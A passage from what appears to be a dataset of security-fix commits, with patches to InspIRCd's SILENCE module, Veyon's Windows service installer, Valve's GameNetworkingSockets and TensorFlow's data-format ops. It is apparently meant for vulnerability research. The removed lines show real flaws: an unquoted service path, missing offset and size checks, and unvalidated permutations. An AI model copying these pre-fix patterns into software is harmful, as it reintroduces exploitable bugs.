*\n+ * Copyright (C) 2019 Peter Powell \n+ *\n+ * This file is part of InspIRCd. InspIRCd is free software: you can\n+ * redistribute it and/or modify it under the terms of the GNU General Public\n+ * License as published by the Free Software Foundation, version 2.\n+ *\n+ * This program is distributed in the hope that it will be useful, but WITHOUT\n+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more\n+ * details.\n+ *\n+ * You should have received a copy of the GNU General Public License\n+ * along with this program. If not, see .\n+ */\n+\n+\n+#include \"inspircd.h\"\n+#include \"modules/ctctags.h\"\n+\n+enum\n+{\n+\t// From ircu?\n+\tRPL_SILELIST = 271,\n+\tRPL_ENDOFSILELIST = 272,\n+\tERR_SILELISTFULL = 511,\n+\n+\t// InspIRCd-specific.\n+\tERR_SILENCE = 952\n+};\n+\n+class SilenceEntry\n+{\n+ public:\n+\tenum SilenceFlags\n+\t{\n+\t\t// Does nothing; for internal use only.\n+\t\tSF_NONE = 0,\n+\n+\t\t// Exclude users who match this flags (\"x\").\n+\t\tSF_EXEMPT = 1,\n+\t\n+\t\t// 2, 4, 8, 16 are reserved for future use.\n+\n+\t\t// Matches a NOTICE targeted at a channel (\"n\").\n+\t\tSF_NOTICE_CHANNEL = 32,\n+\n+\t\t// Matches a NOTICE targeted at a user (\"N\").\n+\t\tSF_NOTICE_USER = 64,\n+\n+\t\t// Matches a PRIVMSG targeted at a channel (\"p\").\n+\t\tSF_PRIVMSG_CHANNEL = 128,\n+\n+\t\t// Matches a PRIVMSG targeted at a user (\"P\").\n+\t\tSF_PRIVMSG_USER = 256,\n+\n+\t\t// Matches a TAGMSG targeted at a channel (\"t\").\n+\t\tSF_TAGMSG_CHANNEL = 512,\n+\n+\t\t// Matches a TAGMSG targeted at a user (\"T\").\n+\t\tSF_TAGMSG_USER = 1024,\n+\n+\t\t// Matches a CTCP targeted at a channel (\"c\").\n+\t\tSF_CTCP_CHANNEL = 2048,\n+\n+\t\t// Matches a CTCP targeted at a user (\"C\").\n+\t\tSF_CTCP_USER = 4096,\n+\n+\t\t// Matches an invite to a channel (\"i\").\n+\t\tSF_INVITE = 8192,\n+\n+\t\t// The default if no flags have been specified.\n+\t\tSF_DEFAULT = SF_NOTICE_CHANNEL | SF_NOTICE_USER | SF_PRIVMSG_CHANNEL | SF_PRIVMSG_USER | SF_TAGMSG_CHANNEL |\n+\t\t\tSF_TAGMSG_USER | SF_CTCP_CHANNEL | SF_CTCP_USER | SF_INVITE\n+\t};\n+\n+\t// The flags that this mask is silenced for.\n+\tuint32_t flags;\n+\n+\t// The mask which is silenced (e.g. *!*@example.com).\n+\tstd::string mask;\n+\n+\tSilenceEntry(uint32_t Flags, const std::string& Mask)\n+\t\t: flags(Flags)\n+\t\t, mask(Mask)\n+\t{\n+\t}\n+\n+\tbool operator <(const SilenceEntry& other) const\n+\t{\n+\t\tif (flags & SF_EXEMPT && other.flags & ~SF_EXEMPT)\n+\t\t\treturn true;\n+\t\tif (other.flags & SF_EXEMPT && flags & ~SF_EXEMPT)\n+\t\t\treturn false;\n+\t\tif (flags < other.flags)\n+\t\t\treturn true;\n+\t\tif (other.flags < flags)\n+\t\t\treturn false;\n+\t\treturn mask < other.mask;\n+\t}\n+\n+\t// Converts a flag list to a bitmask.\n+\tstatic bool FlagsToBits(const std::string& flags, uint32_t& out)\n+\t{\n+\t\tout = SF_NONE;\n+\t\tfor (std::string::const_iterator flag = flags.begin(); flag != flags.end(); ++flag)\n+\t\t{\n+\t\t\tswitch (*flag)\n+\t\t\t{\n+\t\t\t\tcase 'C':\n+\t\t\t\t\tout |= SF_CTCP_USER;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'c':\n+\t\t\t\t\tout |= SF_CTCP_CHANNEL;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'd':\n+\t\t\t\t\tout |= SF_DEFAULT;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'i':\n+\t\t\t\t\tout |= SF_INVITE;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'N':\n+\t\t\t\t\tout |= SF_NOTICE_USER;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'n':\n+\t\t\t\t\tout |= SF_NOTICE_CHANNEL;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'P':\n+\t\t\t\t\tout |= SF_PRIVMSG_USER;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'p':\n+\t\t\t\t\tout |= SF_PRIVMSG_CHANNEL;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'T':\n+\t\t\t\t\tout |= SF_TAGMSG_USER;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 't':\n+\t\t\t\t\tout |= SF_TAGMSG_CHANNEL;\n+\t\t\t\t\tbreak;\n+\t\t\t\tcase 'x':\n+\t\t\t\t\tout |= SF_EXEMPT;\n+\t\t\t\t\tbreak;\n+\t\t\t\tdefault:\n+\t\t\t\t\tout = SF_NONE;\n+\t\t\t\t\treturn false;\n+\t\t\t}\n+\t\t}\n+\t\treturn true;\n+\t}\n+\n+\t// Converts a bitmask to a flag list.\n+\tstatic std::string BitsToFlags(uint32_t flags)\n+\t{\n+\t\tstd::string out;\n+\t\tif (flags & SF_CTCP_USER)\n+\t\t\tout.push_back('C');\n+\t\tif (flags & SF_CTCP_CHANNEL)\n+\t\t\tout.push_back('c');\n+\t\tif (flags & SF_INVITE)\n+\t\t\tout.push_back('i');\n+\t\tif (flags & SF_NOTICE_USER)\n+\t\t\tout.push_back('N');\n+\t\tif (flags & SF_NOTICE_CHANNEL)\n+\t\t\tout.push_back('n');\n+\t\tif (flags & SF_PRIVMSG_USER)\n+\t\t\tout.push_back('P');\n+\t\tif (flags & SF_PRIVMSG_CHANNEL)\n+\t\t\tout.push_back('p');\n+\t\tif (flags & SF_TAGMSG_CHANNEL)\n+\t\t\tout.push_back('T');\n+\t\tif (flags & SF_TAGMSG_USER)\n+\t\t\tout.push_back('t');\n+\t\tif (flags & SF_EXEMPT)\n+\t\t\tout.push_back('x');\n+\t\treturn out;\n+\t}\n+};\n+\n+typedef insp::flat_set SilenceList;\n+\n+class SilenceMessage : public ClientProtocol::Message\n+{\n+ public:\n+\tSilenceMessage(const std::string& mask, const std::string& flags)\n+\t\t: ClientProtocol::Message(\"SILENCE\")\n+\t{\n+\t\tPushParam(mask);\n+\t\tPushParamRef(flags);\n+\t}\n+};\n+\n+class CommandSilence : public SplitCommand\n+{\n+ private:\n+\tClientProtocol::EventProvider msgprov;\n+\n+\tCmdResult AddSilence(LocalUser* user, const std::string& mask, uint32_t flags)\n+\t{\n+\t\tSilenceList* list = ext.get(user);\n+\t\tif (list && list->size() > maxsilence)\n+\t\t{\n+\t\t\tuser->WriteNumeric(ERR_SILELISTFULL, mask, SilenceEntry::BitsToFlags(flags), \"Your silence list is full\");\n+\t\t\treturn CMD_FAILURE;\n+\t\t}\n+\t\telse if (!list)\n+\t\t{\n+\t\t\t// There is no list; create it.\n+\t\t\tlist = new SilenceList();\n+\t\t\text.set(user, list);\n+\t\t}\n+\n+\t\tif (!list->insert(SilenceEntry(flags, mask)).second)\n+\t\t{\n+\t\t\tuser->WriteNumeric(ERR_SILENCE, mask, SilenceEntry::BitsToFlags(flags), \"The silence entry you specified already exists\");\n+\t\t\treturn CMD_FAILURE;\n+\t\t}\n+\n+\t\tSilenceMessage msg(\"+\" + mask, SilenceEntry::BitsToFlags(flags));\n+\t\tuser->Send(msgprov, msg);\n+\t\treturn CMD_SUCCESS;\n+\t}\n+\n+\tCmdResult RemoveSilence(LocalUser* user, const std::string& mask, uint32_t flags)\n+\t{\n+\t\tSilenceList* list = ext.get(user);\n+\t\tif (list)\n+\t\t{\n+\t\t\tfor (SilenceList::iterator iter = list->begin(); iter != list->end(); ++iter)\n+\t\t\t{\n+\t\t\t\tif (!irc::equals(iter->mask, mask) || iter->flags != flags)\n+\t\t\t\t\tcontinue;\n+\n+\t\t\t\tlist->erase(iter);\n+\t\t\t\tSilenceMessage msg(\"-\" + mask, SilenceEntry::BitsToFlags(flags));\n+\t\t\t\tuser->Send(msgprov, msg);\n+\t\t\t\treturn CMD_SUCCESS;\n+\t\t\t}\n+\t\t}\n+\n+\t\tuser->WriteNumeric(ERR_SILENCE, mask, SilenceEntry::BitsToFlags(flags), \"The silence entry you specified could not be found\");\n+\t\treturn CMD_FAILURE;\n+\t}\n+\n+\tCmdResult ShowSilenceList(LocalUser* user)\n+\t{\n+\t\tSilenceList* list = ext.get(user);\n+\t\tif (list)\n+\t\t{\n+\t\t\tfor (SilenceList::const_iterator iter = list->begin(); iter != list->end(); ++iter)\n+\t\t\t{\n+\t\t\t\tuser->WriteNumeric(RPL_SILELIST, iter->mask, SilenceEntry::BitsToFlags(iter->flags));\n+\t\t\t}\n+\t\t}\n+\t\tuser->WriteNumeric(RPL_ENDOFSILELIST, \"End of silence list\");\n+\t\treturn CMD_SUCCESS;\n+\t}\n+\n+ public:\n+\tSimpleExtItem ext;\n+\tunsigned int maxsilence;\n+\n+\tCommandSilence(Module* Creator)\n+\t\t: SplitCommand(Creator, \"SILENCE\")\n+\t\t, msgprov(Creator, \"SILENCE\")\n+\t\t, ext(\"silence_list\", ExtensionItem::EXT_USER, Creator)\n+\t{\n+\t\tallow_empty_last_param = false;\n+\t\tsyntax = \"[(+|-) [CcdiNnPpTtx]]\";\n+\t}\n+\n+\tCmdResult HandleLocal(LocalUser* user, const Params& parameters) CXX11_OVERRIDE\n+\t{\n+\t\tif (parameters.empty())\n+\t\t\treturn ShowSilenceList(user);\n+\n+\t\t// If neither add nor remove are specified we default to add.\n+\t\tbool is_remove = parameters[0][0] == '-';\n+\n+\t\t// If a prefix mask has been given then strip it and clean it up.\n+\t\tstd::string mask = parameters[0];\n+\t\tif (mask[0] == '-' || mask[0] == '+')\n+\t\t{\n+\t\t\tmask.erase(0);\n+\t\t\tif (mask.empty())\n+\t\t\t\tmask.assign(\"*\");\n+\t\t\tModeParser::CleanMask(mask);\n+\t\t}\n+\n+\t\t// If the user specified a flags then use that. Otherwise, default to blocking\n+\t\t// all CTCPs, invites, notices, privmsgs, and invites.\n+\t\tuint32_t flags = SilenceEntry::SF_DEFAULT;\n+\t\tif (parameters.size() > 1)\n+\t\t{\n+\t\t\tif (!SilenceEntry::FlagsToBits(parameters[1], flags))\n+\t\t\t{\n+\t\t\t\tuser->WriteNumeric(ERR_SILENCE, mask, parameters[1], \"You specified one or more invalid SILENCE flags\");\n+\t\t\t\treturn CMD_FAILURE;\n+\t\t\t}\n+\t\t\telse if (flags == SilenceEntry::SF_EXEMPT)\n+\t\t\t{\n+\t\t\t\t// The user specified \"x\" with no other flags which does not make sense; add the \"d\" flag.\n+\t\t\t\tflags |= SilenceEntry::SF_DEFAULT;\n+\t\t\t}\n+\t\t}\n+\n+\t\treturn is_remove ? RemoveSilence(user, mask, flags) : AddSilence(user, mask, flags);\n+\t}\n+};\n+\n+class ModuleSilence\n+\t: public Module\n+\t, public CTCTags::EventListener\n+{\n+ private:\n+\tbool exemptuline;\n+\tCommandSilence cmd;\n+\n+\tModResult BuildChannelExempts(User* source, Channel* channel, SilenceEntry::SilenceFlags flag, CUList& exemptions)\n+\t{\n+\t\tconst Channel::MemberMap& members = channel->GetUsers();\n+\t\tfor (Channel::MemberMap::const_iterator member = members.begin(); member != members.end(); ++member)\n+\t\t{\n+\t\t\tif (!CanReceiveMessage(source, member->first, flag))\n+\t\t\t\texemptions.insert(member->first);\n+\t\t}\n+\t\treturn MOD_RES_PASSTHRU;\n+\t}\n+\n+\tbool CanReceiveMessage(User* source, User* target, SilenceEntry::SilenceFlags flag)\n+\t{\n+\t\t// Servers handle their own clients.\n+\t\tif (!IS_LOCAL(target))\n+\t\t\treturn true;\n+\n+\t\tif (exemptuline && source->server->IsULine())\n+\t\t\treturn true;\n+\n+\t\tSilenceList* list = cmd.ext.get(target);\n+\t\tif (!list)\n+\t\t\treturn true;\n+\n+\t\tfor (SilenceList::iterator iter = list->begin(); iter != list->end(); ++iter)\n+\t\t{\n+\t\t\tif (!(iter->flags & flag))\n+\t\t\t\tcontinue;\n+\n+\t\t\tif (InspIRCd::Match(source->GetFullHost(), iter->mask))\n+\t\t\t\treturn iter->flags & SilenceEntry::SF_EXEMPT;\n+\t\t}\n+\n+\t\treturn true;\n+\t}\n+\n+ public:\n+\tModuleSilence()\n+\t\t: CTCTags::EventListener(this)\n+\t\t, cmd(this)\n+\t{\n+\t}\n+\n+\tvoid ReadConfig(ConfigStatus& status) CXX11_OVERRIDE\n+\t{\n+\t\tConfigTag* tag = ServerInstance->Config->ConfValue(\"silence\");\n+\t\texemptuline = tag->getBool(\"exemptuline\", true);\n+\t\tcmd.maxsilence = tag->getUInt(\"maxentries\", 32, 1);\n+\t}\n+\n+\tvoid On005Numeric(std::map& tokens) CXX11_OVERRIDE\n+\t{\n+\t\ttokens[\"ESILENCE\"] = \"CcdiNnPpsTtx\";\n+\t\ttokens[\"SILENCE\"] = ConvToStr(cmd.maxsilence);\n+\t}\n+\n+\tModResult OnUserPreInvite(User* source, User* dest, Channel* channel, time_t timeout) CXX11_OVERRIDE\n+\t{\n+\t\treturn CanReceiveMessage(source, dest, SilenceEntry::SF_INVITE) ? MOD_RES_PASSTHRU : MOD_RES_DENY;\n+\t}\n+\n+\tModResult OnUserPreMessage(User* user, const MessageTarget& target, MessageDetails& details) CXX11_OVERRIDE\n+\t{\n+\t\tstd::string ctcpname;\n+\t\tbool is_ctcp = details.IsCTCP(ctcpname) && !irc::equals(ctcpname, \"ACTION\");\n+\n+\t\tSilenceEntry::SilenceFlags flag = SilenceEntry::SF_NONE;\n+\t\tif (target.type == MessageTarget::TYPE_CHANNEL)\n+\t\t{\n+\t\t\tif (is_ctcp)\n+\t\t\t\tflag = SilenceEntry::SF_CTCP_CHANNEL;\n+\t\t\telse if (details.type == MSG_NOTICE)\n+\t\t\t\tflag = SilenceEntry::SF_NOTICE_CHANNEL;\n+\t\t\telse if (details.type == MSG_PRIVMSG)\n+\t\t\t\tflag = SilenceEntry::SF_PRIVMSG_CHANNEL;\n+\n+\t\t\treturn BuildChannelExempts(user, target.Get(), flag, details.exemptions);\n+\t\t}\n+\n+\t\tif (target.type == MessageTarget::TYPE_USER)\n+\t\t{\n+\t\t\tif (is_ctcp)\n+\t\t\t\tflag = SilenceEntry::SF_CTCP_USER;\n+\t\t\telse if (details.type == MSG_NOTICE)\n+\t\t\t\tflag = SilenceEntry::SF_NOTICE_USER;\n+\t\t\telse if (details.type == MSG_PRIVMSG)\n+\t\t\t\tflag = SilenceEntry::SF_PRIVMSG_USER;\n+\n+\t\t\tif (!CanReceiveMessage(user, target.Get(), flag))\n+\t\t\t{\n+\t\t\t\tdetails.echo_original = true;\n+\t\t\t\treturn MOD_RES_DENY;\n+\t\t\t}\n+\t\t}\n+\n+\t\treturn MOD_RES_PASSTHRU;\n+\t}\n+\n+\tModResult OnUserPreTagMessage(User* user, const MessageTarget& target, CTCTags::TagMessageDetails& details) CXX11_OVERRIDE\n+\t{\n+\t\tif (target.type == MessageTarget::TYPE_CHANNEL)\n+\t\t\treturn BuildChannelExempts(user, target.Get(), SilenceEntry::SF_TAGMSG_CHANNEL, details.exemptions);\n+\n+\t\tif (target.type == MessageTarget::TYPE_USER && !CanReceiveMessage(user, target.Get(), SilenceEntry::SF_TAGMSG_USER))\n+\t\t{\n+\t\t\tdetails.echo_original = true;\n+\t\t\treturn MOD_RES_DENY;\n+\t\t}\n+\n+\t\treturn MOD_RES_PASSTHRU;\n+\t}\n+\n+\tVersion GetVersion() CXX11_OVERRIDE\n+\t{\n+\t\treturn Version(\"Provides support for blocking users with the /SILENCE command\", VF_OPTCOMMON | VF_VENDOR);\n+\t}\n+};\n+\n+MODULE_INIT(ModuleSilence)", "related": false}]} +{"owner": "veyon", "repo": "veyon", "language": "C++", "file_name": "plugins/platform/windows/WindowsServiceControl.cpp", "commit_id": "f231ec511b9a09f43f49b2c7bb7c60b8046276b1", "commit_message": "WindowsServiceControl: quote service binary path\n\nFix unquoted service path vulnerability.\n\nCloses #657.", "patch": "@@ -158,6 +158,8 @@ bool WindowsServiceControl::stop()\n \n bool WindowsServiceControl::install( const QString& filePath, const QString& displayName )\n {\n+\tconst auto binaryPath = QStringLiteral(\"\\\"%1\\\"\").arg( QString( filePath ).replace( QLatin1Char('\"'), QString() ) );\n+\n \tm_serviceHandle = CreateService(\n \t\t\t\tm_serviceManager,\t\t// SCManager database\n \t\t\t\tWindowsCoreFunctions::toConstWCharArray( m_name ),\t// name of service\n@@ -167,7 +169,7 @@ bool WindowsServiceControl::install( const QString& filePath, const QString& dis\n \t\t\t\t// service type\n \t\t\t\tSERVICE_AUTO_START,\t// start type\n \t\t\t\tSERVICE_ERROR_NORMAL,\t// error control type\n-\t\t\t\tWindowsCoreFunctions::toConstWCharArray( filePath ),\t\t// service's binary\n+\t\t\t\tWindowsCoreFunctions::toConstWCharArray( binaryPath ),\t\t// service's binary\n \t\t\t\tnullptr,\t\t\t// no load ordering group\n \t\t\t\tnullptr,\t\t\t// no tag identifier\n \t\t\t\tL\"Tcpip\\0RpcSs\\0\\0\",\t\t// dependencies", "sections": [{"section": "@@ -158,6 +158,8 @@ bool WindowsServiceControl::stop()\n \n bool WindowsServiceControl::install( const QString& filePath, const QString& displayName )\n {\n+\tconst auto binaryPath = QStringLiteral(\"\\\"%1\\\"\").arg( QString( filePath ).replace( QLatin1Char('\"'), QString() ) );\n+\n \tm_serviceHandle = CreateService(\n \t\t\t\tm_serviceManager,\t\t// SCManager database\n \t\t\t\tWindowsCoreFunctions::toConstWCharArray( m_name ),\t// name of service\n", "related": false}, {"section": "@@ -167,7 +169,7 @@ bool WindowsServiceControl::install( const QString& filePath, const QString& dis\n \t\t\t\t// service type\n \t\t\t\tSERVICE_AUTO_START,\t// start type\n \t\t\t\tSERVICE_ERROR_NORMAL,\t// error control type\n-\t\t\t\tWindowsCoreFunctions::toConstWCharArray( filePath ),\t\t// service's binary\n+\t\t\t\tWindowsCoreFunctions::toConstWCharArray( binaryPath ),\t\t// service's binary\n \t\t\t\tnullptr,\t\t\t// no load ordering group\n \t\t\t\tnullptr,\t\t\t// no tag identifier\n \t\t\t\tL\"Tcpip\\0RpcSs\\0\\0\",\t\t// dependencies", "related": false}]} +{"owner": "valvesoftware", "repo": "gamenetworkingsockets", "language": "C++", "file_name": "src/steamnetworkingsockets/clientlib/steamnetworkingsockets_snp.cpp", "commit_id": "e0c86dcb9139771db3db0cfdb1fb8bef0af19c43", "commit_message": "Drop unreliable segments with weird offset/size.\n\nAnd be more deliberate about limits of unreliable message/segment sizes.", "patch": "@@ -234,7 +234,7 @@ int64 CSteamNetworkConnectionBase::SNP_SendMessage( CSteamNetworkingMessage *pSe\n \t}\n \n \t// Check if they try to send a really large message\n-\tif ( cbData > k_cbMaxUnreliableMsgSize && !( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable ) )\n+\tif ( cbData > k_cbMaxUnreliableMsgSizeSend && !( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable ) )\n \t{\n \t\tSpewWarningRateLimited( usecNow, \"Trying to send a very large (%d bytes) unreliable message. Sending as reliable instead.\\n\", cbData );\n \t\tpSendMessage->m_nFlags |= k_nSteamNetworkingSend_Reliable;\n@@ -577,11 +577,23 @@ bool CSteamNetworkConnectionBase::ProcessPlainTextDataChunk( int usecTimeSinceLa\n \t\t\t// Decode size, locate segment data\n \t\t\t//\n \t\t\tREAD_SEGMENT_DATA_SIZE( unreliable )\n-\t\t\tAssert( cbSegmentSize > 0 ); // !TEST! Bogus assert, zero byte messages are OK. Remove after testing\n \n-\t\t\t// Receive the segment\n-\t\t\tbool bLastSegmentInMessage = ( nFrameType & 0x20 ) != 0;\n-\t\t\tSNP_ReceiveUnreliableSegment( nCurMsgNum, nOffset, pSegmentData, cbSegmentSize, bLastSegmentInMessage, usecNow );\n+\t\t\t// Check if offset+size indicates a message larger than what we support. (Also,\n+\t\t\t// protect against malicious sender sending *extremely* large offset causing overflow.)\n+\t\t\tif ( (int64)nOffset + cbSegmentSize > k_cbMaxUnreliableMsgSizeRecv || cbSegmentSize > k_cbMaxUnreliableSegmentSizeRecv )\n+\t\t\t{\n+\n+\t\t\t\t// Since this is unreliable data, we can just ignore the segment.\n+\t\t\t\tSpewWarningRateLimited( usecNow, \"[%s] Ignoring unreliable segment with invalid offset %u size %d\\n\",\n+\t\t\t\t\tGetDescription(), nOffset, cbSegmentSize );\n+\t\t\t}\n+\t\t\telse\n+\t\t\t{\n+\n+\t\t\t\t// Receive the segment\n+\t\t\t\tbool bLastSegmentInMessage = ( nFrameType & 0x20 ) != 0;\n+\t\t\t\tSNP_ReceiveUnreliableSegment( nCurMsgNum, nOffset, pSegmentData, cbSegmentSize, bLastSegmentInMessage, usecNow );\n+\t\t\t}\n \t\t}\n \t\telse if ( ( nFrameType & 0xe0 ) == 0x40 )\n \t\t{", "sections": [{"section": "@@ -234,7 +234,7 @@ int64 CSteamNetworkConnectionBase::SNP_SendMessage( CSteamNetworkingMessage *pSe\n \t}\n \n \t// Check if they try to send a really large message\n-\tif ( cbData > k_cbMaxUnreliableMsgSize && !( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable ) )\n+\tif ( cbData > k_cbMaxUnreliableMsgSizeSend && !( pSendMessage->m_nFlags & k_nSteamNetworkingSend_Reliable ) )\n \t{\n \t\tSpewWarningRateLimited( usecNow, \"Trying to send a very large (%d bytes) unreliable message. Sending as reliable instead.\\n\", cbData );\n \t\tpSendMessage->m_nFlags |= k_nSteamNetworkingSend_Reliable;\n", "related": false}, {"section": "@@ -577,11 +577,23 @@ bool CSteamNetworkConnectionBase::ProcessPlainTextDataChunk( int usecTimeSinceLa\n \t\t\t// Decode size, locate segment data\n \t\t\t//\n \t\t\tREAD_SEGMENT_DATA_SIZE( unreliable )\n-\t\t\tAssert( cbSegmentSize > 0 ); // !TEST! Bogus assert, zero byte messages are OK. Remove after testing\n \n-\t\t\t// Receive the segment\n-\t\t\tbool bLastSegmentInMessage = ( nFrameType & 0x20 ) != 0;\n-\t\t\tSNP_ReceiveUnreliableSegment( nCurMsgNum, nOffset, pSegmentData, cbSegmentSize, bLastSegmentInMessage, usecNow );\n+\t\t\t// Check if offset+size indicates a message larger than what we support. (Also,\n+\t\t\t// protect against malicious sender sending *extremely* large offset causing overflow.)\n+\t\t\tif ( (int64)nOffset + cbSegmentSize > k_cbMaxUnreliableMsgSizeRecv || cbSegmentSize > k_cbMaxUnreliableSegmentSizeRecv )\n+\t\t\t{\n+\n+\t\t\t\t// Since this is unreliable data, we can just ignore the segment.\n+\t\t\t\tSpewWarningRateLimited( usecNow, \"[%s] Ignoring unreliable segment with invalid offset %u size %d\\n\",\n+\t\t\t\t\tGetDescription(), nOffset, cbSegmentSize );\n+\t\t\t}\n+\t\t\telse\n+\t\t\t{\n+\n+\t\t\t\t// Receive the segment\n+\t\t\t\tbool bLastSegmentInMessage = ( nFrameType & 0x20 ) != 0;\n+\t\t\t\tSNP_ReceiveUnreliableSegment( nCurMsgNum, nOffset, pSegmentData, cbSegmentSize, bLastSegmentInMessage, usecNow );\n+\t\t\t}\n \t\t}\n \t\telse if ( ( nFrameType & 0xe0 ) == 0x40 )\n \t\t{", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/core/kernels/data_format_ops.cc", "commit_id": "ebc70b7a592420d3d2f359e4b1694c236b82c7ae", "commit_message": "Validate that `DataFormat*` attributes form a permutation.\n\nThe `src_format` and `dst_format` attributes for the `DataFormatDimMap` and `DataFormatVecPermute` raw ops are supposed to determine a permutation. However, this was not validated and could result in unitialized memory accesses as well as writes outside of bounds and potential crashes.\n\nWhile here, we also test that the format attributes have the needed length, add tests for all validation failure cases, remove unnecessary calls to `strings::StrCat`, and fix a few grammar errors.\n\nThis will be cherry-picked on the supported release branches.\n\nPiperOrigin-RevId: 346135579\nChange-Id: I1c76392382c89ad8f072d5bc93d70669851eb404", "patch": "@@ -18,16 +18,52 @@ limitations under the License.\n #define EIGEN_USE_THREADS\n \n #include \"tensorflow/core/kernels/data_format_ops.h\"\n+\n+#include \n+\n #include \"third_party/eigen3/unsupported/Eigen/CXX11/Tensor\"\n #include \"tensorflow/core/framework/op_kernel.h\"\n #include \"tensorflow/core/framework/register_types.h\"\n #include \"tensorflow/core/framework/tensor.h\"\n+#include \"tensorflow/core/platform/errors.h\"\n \n namespace tensorflow {\n \n typedef Eigen::ThreadPoolDevice CPUDevice;\n typedef Eigen::GpuDevice GPUDevice;\n \n+// Ensure that `src` and `dst` define a valid permutation.\n+// Ops defined in this file assume that user specifies a permutation via two\n+// string attributes. This check validates that these attributes properly define\n+// it to prevent security vulnerabilities.\n+static bool IsValidPermutation(const std::string& src, const std::string& dst) {\n+ if (src.size() != dst.size()) {\n+ return false;\n+ }\n+\n+ std::map characters;\n+\n+ // Every character in `src` must be present only once\n+ for (const auto c : src) {\n+ if (characters[c]) {\n+ return false;\n+ }\n+ characters[c] = true;\n+ }\n+\n+ // Every character in `dst` must show up in `src` exactly once\n+ for (const auto c : dst) {\n+ if (!characters[c]) {\n+ return false;\n+ }\n+ characters[c] = false;\n+ }\n+\n+ // At this point, characters[] has been switched to true and false exactly\n+ // once for all character in `src` (and `dst`) so we have a valid permutation\n+ return true;\n+}\n+\n template \n class DataFormatDimMapOp : public OpKernel {\n public:\n@@ -38,15 +74,19 @@ class DataFormatDimMapOp : public OpKernel {\n string dst_format;\n OP_REQUIRES_OK(context, context->GetAttr(\"dst_format\", &dst_format));\n OP_REQUIRES(context, src_format.size() == 4 || src_format.size() == 5,\n- errors::InvalidArgument(strings::StrCat(\n- \"Source format must of length 4 or 5, received \"\n+ errors::InvalidArgument(\n+ \"Source format must be of length 4 or 5, received \"\n \"src_format = \",\n- src_format)));\n+ src_format));\n+ OP_REQUIRES(context, dst_format.size() == 4 || dst_format.size() == 5,\n+ errors::InvalidArgument(\"Destination format must be of length \"\n+ \"4 or 5, received dst_format = \",\n+ dst_format));\n OP_REQUIRES(\n- context, dst_format.size() == 4 || dst_format.size() == 5,\n- errors::InvalidArgument(strings::StrCat(\n- \"Destination format must of length 4 or 5, received dst_format = \",\n- dst_format)));\n+ context, IsValidPermutation(src_format, dst_format),\n+ errors::InvalidArgument(\n+ \"Destination and source format must determine a permutation, got \",\n+ src_format, \" and \", dst_format));\n dst_idx_ = Tensor(DT_INT32, {static_cast(src_format.size())});\n for (int i = 0; i < src_format.size(); ++i) {\n for (int j = 0; j < dst_format.size(); ++j) {\n@@ -78,8 +118,22 @@ class DataFormatVecPermuteOp : public OpKernel {\n : OpKernel(context) {\n string src_format;\n OP_REQUIRES_OK(context, context->GetAttr(\"src_format\", &src_format));\n+ OP_REQUIRES(context, src_format.size() == 4 || src_format.size() == 5,\n+ errors::InvalidArgument(\n+ \"Source format must be of length 4 or 5, received \"\n+ \"src_format = \",\n+ src_format));\n string dst_format;\n OP_REQUIRES_OK(context, context->GetAttr(\"dst_format\", &dst_format));\n+ OP_REQUIRES(context, dst_format.size() == 4 || dst_format.size() == 5,\n+ errors::InvalidArgument(\"Destination format must be of length \"\n+ \"4 or 5, received dst_format = \",\n+ dst_format));\n+ OP_REQUIRES(\n+ context, IsValidPermutation(src_format, dst_format),\n+ errors::InvalidArgument(\n+ \"Destination and source format must determine a permutation, got \",\n+ src_format, \" and \", dst_format));\n src_format_ = src_format;\n dst_format_ = dst_format;\n }\n@@ -127,6 +181,10 @@ class DataFormatVecPermuteOp : public OpKernel {\n };\n keep_only_spatial_dimensions(&src_format_str);\n keep_only_spatial_dimensions(&dst_format_str);\n+ OP_REQUIRES(context,\n+ src_format_str.size() == 2 && dst_format_str.size() == 2,\n+ errors::InvalidArgument(\n+ \"Format specifier must contain H and W for 2D case\"));\n }\n ComputeDstIndex(src_format_str, dst_format_str, input.dims(), &dst_idx);\n ", "sections": [{"section": "@@ -18,16 +18,52 @@ limitations under the License.\n #define EIGEN_USE_THREADS\n \n #include \"tensorflow/core/kernels/data_format_ops.h\"\n+\n+#include \n+\n #include \"third_party/eigen3/unsupported/Eigen/CXX11/Tensor\"\n #include \"tensorflow/core/framework/op_kernel.h\"\n #include \"tensorflow/core/framework/register_types.h\"\n #include \"tensorflow/core/framework/tensor.h\"\n+#include \"tensorflow/core/platform/errors.h\"\n \n namespace tensorflow {\n \n typedef Eigen::ThreadPoolDevice CPUDevice;\n typedef Eigen::GpuDevice GPUDevice;\n \n+// Ensure that `src` and `dst` define a valid permutation.\n+// Ops defined in this file assume that user specifies a permutation via two\n+// string attributes. This check validates that these attributes properly define\n+// it to prevent security vulnerabilities.\n+static bool IsValidPermutation(const std::string& src, const std::string& dst) {\n+ if (src.size() != dst.size()) {\n+ return false;\n+ }\n+\n+ std::map characters;\n+\n+ // Every character in `src` must be present only once\n+ for (const auto c : src) {\n+ if (characters[c]) {\n+ return false;\n+ }\n+ characters[c] = true;\n+ }\n+\n+ // Every character in `dst` must show up in `src` exactly once\n+ for (const auto c : dst) {\n+ if (!characters[c]) {\n+ return false;\n+ }\n+ characters[c] = false;\n+ }\n+\n+ // At this point, characters[] has been switched to true and false exactly\n+ // once for all character in `src` (and `dst`) so we have a valid permutation\n+ return true;\n+}\n+\n template \n class DataFormatDimMapOp : public OpKernel {\n public:\n", "related": false}, {"section": "@@ -38,15 +74,19 @@ class DataFormatDimMapOp : public OpKernel {\n string dst_format;\n OP_REQUIRES_OK(context, context->GetAttr(\"dst_format\", &dst_format));\n OP_REQUIRES(context, src_format.size() == 4 || src_format.size() == 5,\n- 